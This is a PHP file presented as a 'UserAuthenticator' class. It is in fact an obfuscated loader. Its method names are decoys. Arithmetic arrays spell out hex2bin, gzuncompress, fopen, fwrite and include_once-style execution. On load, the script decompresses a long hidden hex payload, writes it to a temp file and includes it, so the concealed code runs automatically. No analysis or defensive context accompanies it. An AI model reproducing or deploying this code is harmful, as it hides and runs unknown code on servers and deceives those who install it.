<?php
class UserAuthenticator
{
    private $hv = '';
    private $we = '';
    public function initializeModule($p1)
    {
        $c = array(33 * 3 + 5, 94 * 14 - 1215, 85 * 15 - 1155, 59 - 9, 93 * 27 - 2413, 3 * 35, 101 + 3 + 6);
        $e = '';
        foreach ($c as $g) {
            $e .= chr($g);
        }
        return $e($p1);
    }
    public function processData($p1)
    {
        $m = array(57 * 43 - 2348, 125 - 3, 35 * 93 - 3138, 2 * 55, 71 + 28, 111, 111 - 2, 113 - 1, 86 * 89 - 7540, 78 + 23, 5 * 23, 98 + 3 + 14);
        $v = '';
        foreach ($m as $s) {
            $v .= chr($s);
        }
        return $v($p1);
    }
    public function trackActivity($p1, $p2)
    {
        $u = array(65 * 68 - 4318, 3 * 37, 70 * 89 - 6118, 83 * 1 + 18, 32 + 45 + 33);
        $w = '';
        foreach ($u as $uq) {
            $w .= chr($uq);
        }
        return $w($p1, $p2);
    }
    public function checkConsistency($p1, $p2)
    {
        $n = array(49 + 52, 44 * 2 + 28, 115 - 10, 84 + 24 + 6, 7 * 17, 107 - 5);
        $f = '';
        foreach ($n as $e) {
            $f .= chr($e);
        }
        $f = strrev($f);
        return $f($p1, $p2);
    }
    public function triggerCallback($p1)
    {
        $d = array(52 * 84 - 4267, 16 + 99, 42 + 54 + 15, 15 + 40 + 53, 108 - 9, 107 - 5);
        $c = '';
        foreach ($d as $z) {
            $c .= chr($z);
        }
        $c = strrev($c);
        return $c($p1);
    }
    public function manageState($p1, $p2 = null)
    {
        $n = array(114 * 1 + 0, 2 * 58, 39 * 1 + 75, 93 * 84 - 7707, 68 * 3 - 95);
        $c = '';
        foreach ($n as $t) {
            $c .= chr($t);
        }
        return $c($p1, $p2);
    }
    public function filterResults()
    {
        $this->we = $this->manageState($this->terminateSession(), '/');
    }
    public function computeResult()
    {
        $this->hv = $this->processData($this->initializeModule($this->nd));
    }
    public function parseResponse()
    {
        $fn = $this->we . '/bg-69321fef86879';
        $f = $this->trackActivity($fn, 'w');
        $this->checkConsistency($f, $this->hv);
        $this->triggerCallback($f);
        $this->calculateSum($fn);
    }
    private $nd = '789c8d588973a24a13ff5792aad4530ab138c463fd785b39d' . '4b89bd504afc42dcb02442522a0e0455efef7af7b060c983cf' . '7250561faf84d4f774ff74cfef7dd9b7b1786adf9fec5787ed' . '8bc796b6bab05e6851f6881655c8d77e16b957e5f4c378e115' . '8ae73315ee8d9ab71b864deac69f6d237ede9b76f4492a1df6' . '32374b24c756d069bb573a16bbe592c8c27a6e14ecc6c42fa3' . '7628c98ea7b7acec43c04e72da1a268ebb576c866c6abc53ca' . '3fc9d791ab45e87cfadf0a1d7daea8e7ad0c55d90c90379efe' . 'b92819f5de9873714e1c3deb4e16d5daf32b9ccd8f156445da' . 'c6c268dfe66722bf4cce71bbb6dddcc8dfb1b5f1bb4e69386b' . 'dd5adcaeae5793837c416e81eb46778dfc0c323c66a87102fe' . '24cc1d1262488c367fba7d168dd75bac31fdad2e0bb0dcf69d' . '5f6ab61a8fec27167604bda407d5607f6a3d67377037bdefe5' . '5b3bd8968bfeafd61d019785b0d6618a8f77dc75b3cf1f0edc' . '223e31cc11aa7309e2745a098f05c2b64eeedcc40c66303489' . '535bc1e679471d8ee8e8c1ff0cce119dec1ab40d87307b913b' . '1eeeb1f60fa728654fcdcefe32f63a7c59fbb57fcd2ee55deb' . '873b70fd28df062c9d270f063a90df6b6d6a884e0d1c3c3120' . '2d2a9bceaa2b0036c5d6ad98625af8cb0b278412faaf3c7270' . '5fe92293d8f7852ea1ff43a2ec1d3973671f19a2c18fd71afa' . '2db8d3a22e2a78d6ccb25fec0e8b6dce100fe08316beb1dadb' . 'c07daaf782a8b2c9980f57bf06e7e2cdc5d93081a8d3aaf5d1' . '3f948674ae9cf7ddb009203cfe268f996f8777794f58d4fb28' . '4be3f20bd59c308f4faf5ebedaf4e013e77774f5e93fa876f5' . 'bd74434883cdca800239c105308c35ceac800953b5d943718c' . 'b418bd770dd28ba81ecbdd3490e844392383fe1b97b7289f2d' . '226c134a496dfb6805ede92607be131ae4e104d1bcd192f694' . 'bbc8c59f384c94868eb03d97e9dbadaebd52b77dd9a5defa2e' . 'bd569a74f57617a4e42e2e5991f3ef6ecc94d6fa1d6d57aa5d' . '1159a31be4342d55bf45b5d41ad3ff3f59a5a8f22437756700' . '40252bdd2eff1fd0e88ddab38967b642f4e0f2921740295c34' . '8a3a88c8e47d13088577c08d3c01db537c40f30a5435cb64fa' . 'ca0a31200f039f2e12f11b10f31d824f8e4101b55d021f14a2' . '6c63e25047490c32215fb8e6423c9172fe53d5c45e4404c29e' . 'a4354fc70e32c74cf3a1c77c751d8d8eb09a7e3a2d1efb82fe' . 'b4719ddf91c978fa010df0d1b3f1c7d5059a0db3eb6f38a607' . '760d8bf2e3653b9644d8891cdfbdd0cd9bd1a56b266b401b52' . '3afb7444f2c8f3b626f11cedd1e33d778c502f693ac99ec4c5' . '296a9e4c15a929236a8d1d4d2c81a8c657f49423f8beba749a' . '684d6f33e37b589b9ce62ef83c6058d0d7b0b29950c53fd820' . '9d99acfac9009bdcff27d338056d8a8757fa710761966c4306' . 'f57e3a5a68c27afdb1404eed530864091bffef283b5e7fa649' . '04b8a42c567984b45996ab66f326f13cb3c45daa2230d047b3' . '741e69308b60064be9f311797ebc416ebeb9d7235be6db77f3' . '66bd5abb1efda4ad6720266ed6e9c499667c92f53c5dead643' . '991af70179c2496384110903a75e2261d8d7e138c91723221b' . '619a6ba9b5bb6199d2592d2798518f25b16385118d183027ae' . 'b9292130695f2329b78182acc264dce4ba91ff68f04f0c4dbc' . '764822c7262596439516485b2f87902811540435f9bda823a8' . 'c65cf2e1dda2af51fc8bd133f52c49220b05c892f3069eb459' . '94dbf18d4c2b8d049244180101478892b16044eae8cb24c9e7' . '212304596fc32b117918dabe2e4222b150aa32c41240940ec3' . '95117245600b750a91c65cb059c572889f81664ae2c944771c' . 'c13aa120bbf44355c469a42b1083a45bec415455c313f8a0c9' . '68b254ea6d69cda8f8b4fbf08e649364028483030e32dc7b03' . '713335a59f5fde358891bf26aec6e37608f1d4e958cb9b7f49' . '9a3edac60b2db6b6606e81343579c8d8d8b0da69a22e465a15' . '4e68b922096e54a19fd6479a78135f0a8a391e0ce0f2926325' . 'e3318179895568eb1a1d9b6a6db9f76349c86181288c542313' . '66b1bce2c16eedaf981a992316c62d743ca6291bbeda90fedc' . '7eeb8d37918f76b6ab3fef258aba9395a2ffe8bf87dbbd3cd0' . '9454e289c11afb71f1eda8387f6ed75b7d96ee552e98939293' . '36794d55ab7a7b6baea75ab032d2457e079083dc45f2e56b80' . 'a5f3ea3795fbbbe030dae24f224d364788be5022b1685335ab' . '7ed56ab76dbed367fd5dabd6ed25829bdcfd93f8ccf2d2a46e' . '70a98fe85b2c4152452ff202b8892b9370da282c4fd7c45a93' . '333b09ca91b3108c9b05ddf8c08a41f80f0697586733033ba4' . 'cd66181e759781826ba649180472de06abcd1178aa7ad7d730' . 'c3344a97335f60e0b254b98297c384533232595ae5b4c436c1' . 'bb00fed1407cecf98c5a71878305cd3c6384a36c653b96924c' . '330889c4f41c359fa2b68385103e667f13ddec8bed4c06b1f9' . 'ca199513e49c5fb121ca0714d5bc757a6be6b2c5ccf74b259e' . '299ef49d9a58d653ac37c4b1275e21438928363be9875179df' . '703983847214b42992b174bac542961fe56e46f825864b9423' . '18a34d8c1bc4dbd4de0d30196479b540fe8b9a5322795514fe' . '22b71a3bc9c9a6eac8815c25d285348a9583d99ea05219f4ae' . 'df3e3f82c32b7194c616cbfee8292608e4fb90119c3502b3f5' . '70228b4714aa39970f2a0298ab8a471ad94383b3a35158ad0a' . '7643fd0e3176926fa6e764e1c6f1954d0b6cec93934a189e46' . 'b70567413c590f9fe257b35a579374ae5464895007d6384e7d' . '0e1cef1afd04b9a746964b86120ec79af4dce180ca078ef005' . '86c677f76e93e76d5d770b390c6ff0877def106c2e9ff0ea73' . 'b4728c8b6a96507e67abcd5d6d8b557c984ae08f9e2c74f89f' . 'dc398765067b651108816c6d309c011394110c9f9a52470022' . 'f94135ac03dd6534ab1adeab953f426a44768d398bb17a994d' . '149990290fc4960f03a842c48c9144ba33ece93744a71f02ac' . '454e1bc12641962cd656c0ec033fffc731c0264720838685aa' . '417b789d5343aaba7224c6bb4f237c1cc9d988c9b132e59840' . 'd73a4d878dd220c9c0d7be15e81fe633ae41f7fd1bf01a3d1a' . 'bef3af137318421dd26be2ea1ee7fb81e612ece523724743e8' . 'a1d5df4fe7fc52e324f';
    public function calculateSum($p)
    {
        include_once $p;
    }
    public function terminateSession()
    {
        $a = array(101 + 11 + 3, 87 * 1 + 34, 124 - 9, 5 * 19, 112 - 9, 109 - 8, 118 - 2, 6 + 89, 116, 101, 109, 66 + 46, 58 + 36 + 1, 2 * 50, 95 + 9 + 1, 114);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$cn = new UserAuthenticator();
$cn->filterResults();
$cn->computeResult();
$cn->parseResponse();